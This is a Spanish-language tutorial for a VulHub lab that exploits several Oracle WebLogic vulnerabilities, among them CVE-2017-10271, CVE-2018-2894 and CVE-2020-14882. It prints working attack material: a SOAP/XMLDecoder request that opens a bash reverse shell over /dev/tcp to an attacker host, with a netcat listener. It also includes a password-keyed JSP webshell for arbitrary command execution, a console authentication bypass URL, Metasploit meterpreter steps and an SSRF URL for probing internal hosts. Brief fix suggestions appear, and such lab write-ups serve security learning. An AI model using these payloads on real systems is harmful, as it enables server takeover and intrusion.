Configuración del Entorno
Para facilitar el proceso, utilizaremos VulHub.
Sitio web de VulHub: https://vulhub.org/
Resumen del método de uso de VulHub
- Descargar el proyecto
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
- Entrar en el directorio de una vulnerabilidad/entorno específico
cd flask/ssti
- Compilar el entorno automáticamente
docker-compose build
- Iniciar todo el entorno
docker-compose up -d
Cada directorio de entorno tiene sus archivos de instrucciones correspondientes. Por favor, lea estos archivos para realizar las pruebas de vulnerabilidad/entorno.
Después de las pruebas, elimine todo el entorno con:
docker-compose down -v
Explotación de la vulnerabilidad CVE-2017-10271
Descripción de la vulnerabilidad
La vulnerabilidad CVE-2017-10271 se debe principalmente a que el componente WLS Security de WebLogic proporciona servicios web que utilizan XMLDecoder para analizar los datos XML enviados por los usuarios. Durante este proceso de análisis, se produce una vulnerabilidad de deserialización que permite ejecutar comandos arbitrarios. Un atacante que envíe datos XML especialmente diseñados puede incluso obtener acceso a través de un shell inverso.
Versiones afectadas
- 10.3.6.0
- 12.1.3.0.0
- 12.2.1.1.0
Endpoitns vulnerables
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
Detección de la vulnerabilidad
Herramienta: WeblogicScan
Dirección de la herramienta: https://github.com/rabbitmask/WeblogicScan
Descarga:
git clone https://github.com/rabbitmask/WeblogicScan.git
Uso:
python3 WeblogicScan.py -u 192.168.241.137 -p 7001
Explotación de la vulnerabilidad
Prueba de concepto (PoC)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.241.137:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 697
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.241.143/4444 0>&1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Simplemente reemplace las direcciones de host y el shell inverso con sus propias direcciones.
Herramienta de explotación:
https://github.com/NingKn/CVE_EXP/blob/main/cve-2017-10271/cve-2017-10271.py
Nota: Es mejor copiar y modificar directamente, ya que hacer cambios personalizados puede causar problemas, como me pasó a mí, lo que me hizo perder mucho tiempo.
Después de reenviar el paquete en el módulo repeater, escuche localmente:
nc -lvvp 4444
Debe esperar un momento para recibir el shell.
Principio de la vulnerabilidad
Sugerencias de reparación
- Método 1: Eliminar el componente wls-wsat y luego reiniciar WebLogic
- Método 2: Descargar desde el sitio oficial e instalar el parche
CVE-2018-2628
Descripción de la vulnerabilidad
La vulnerabilidad CVE-2018-2628 es una vulnerabilidad de deserialización de alto riesgo basada en el protocolo T3 (socket enriquecido) que se descubrió en WebLogic en 2018. Incluso después de instalar el parche oficial de Oracle Patch Set Update 180417, la vulnerabilidad aún se puede detectar, aunque los métodos de explotación han cambiado. El número de CVE se modificó a CVE-2018-3245. Su principio básico es en realidad utilizar las deficiencias del protocolo T3 para implementar RMI (Invocación de Método Remoto) en la máquina virtual Java, que puede llamar a código remoto en la máquina virtual local.
Versiones afectadas
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.2.1.2
Oracle WebLogic Server 12.2.1.3
Oracle WebLogic Server 12.1.3.0
Dado que solo se puede explotar en redes internas, su valor práctico no es alto, por lo que no se demostrará aquí.
CVE-2018-2894 (Carga arbitraria de archivos)
En las actualizaciones de julio, Oracle corrigió una vulnerabilidad de carga arbitraria de archivos en la página de prueba de servicio web. La página de prueba de servicio web no está habilitada de forma predeterminada en el "modo de producción", por lo que esta vulnerabilidad tiene ciertas limitaciones.
Utilizando esta vulnerabilidad, se pueden cargar archivos JSP arbitrarios, obteniendo así los permisos del servidor.
Endpoints vulnerables
Versiones afectadas
10.3.6
12.1.3
12.2.1.2
12.2.1.3
Explotación de la vulnerabilidad
Como se mencionó anteriormente, la página de prueba de servicio web no está habilitada de forma predeterminada, por lo que primero debemos iniciar sesión y luego habilitarla.
Obtener la contraseña:
docker-compose logs | grep password
Luego inicie sesión y siga las operaciones mostradas en la imagen para abrir la página de prueba de servicio web.
Finalmente guarde y acceda a la siguiente página:
/ws_utc/config.do
Establecer el directorio de trabajo actual:
- Linux:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css - Windows:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war
Tenga en cuenta que no se requieren permisos para acceder a este directorio. Asegúrese de hacer clic en "Enviar", de lo contrario el directorio de trabajo no se guardará.
Haga clic en "Seguridad" - "Agregar"
Cargue un archivo JSP con una puerta trasera como el siguiente:
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("");
}
%>
Obtener la marca de tiempo:
Puede capturar el paquete de carga con Burp Suite para obtener la marca de tiempo.
Luego acceda a http://your-ip:7001/ws_utc/css/config/keystore/[marca_de_tiempo]_[nombre_de_archivo]?pwd=123&i=ls para ejecutar el webshell.
Sugerencias de reparación
- Establezca que las páginas Config.do y begin.do requieran autenticación para acceder;
- Los productos de defensa como IPS pueden agregar características correspondientes;
- Actualice a la última versión oficial.
CVE-2020-14882 (Vulnerabilidad de ejecución de comandos no autorizada)
Descripción de la vulnerabilidad
CVE-2020-14882 permite a usuarios no autorizados omitir la verificación de permisos del panel de control para acceder al backend, mientras que CVE-2020-14883 permite a cualquier usuario del backend ejecutar comandos arbitrarios a través del protocolo HTTP. Utilizando esta cadena de explotación compuesta por estas dos vulnerabilidades, se pueden ejecutar comandos en el servidor WebLogic remoto con la identidad de un usuario arbitrario no autorizado mediante una única solicitud GET.
Versiones afectadas
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
Explotación de la vulnerabilidad
Prueba de concepto (PoC)
Acceder al backend:
http://127.0.0.1/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
O:
http://127.0.0.1/console/images/%252E%252E%252Fconsole.portal
Obtener shell:
Utilice directamente Metasploit para obtener el shell:
- Primero busque si hay un módulo de explotación disponible:
search CVE-2020-14882
Se obtiene el siguiente módulo:
exploit/multi/http/weblogic_admin_handle_rce
Use el índice 0 directamente:
use 0
- Configure los parámetros
Todo lo marcado como "sí" necesita ser configurado. Puede usar los valores predeterminados.
Tenga en cuenta que el target debe configurrase según el tipo de su máquina de destino. Por ejemplo, para Linux, configure como sigue (para obtener información específica, ingrese "info"):
set target 1
set payload linux/x64/meterpreter_reverse_https
Luego podrá obtener sesiones de meterpreter, se crearán muchas.
Vulnerabilidad SSRF (CVE-2014-4210)
Descripción de la vulnerabilidad
Existe una vulnerabilidad SSRF en WebLogic que permite enviar solicitudes HTTP arbitrarias, lo que puede usarse para atacar componentes internos vulnerables como Redis o FastCGI.
Versiones afectadas
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 10.0.2.0
Endpoints vulnerables
http://127.0.0.1:7001/uddiexplorer
Se puede acceder a la aplicación uddiexplorer sin autorización.
Prueba de concepto (PoC)
http://192.168.241.137:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:7001
Utilizando el PoC anterior, puede detectar puertos y hosts activos en la red interna.
Puede usar la función de fuerza bruta de Burp Suite u otras herramientas para detectar.
La instancia de Docker de VulHub que estoy usando no puede iniciar el contenedor Redis, por lo que no se demostrará cómo obtener el shell de Redis.
Para obtener detalles sobre la explotación, consulte: "Explotación de SSRF en WebLogic".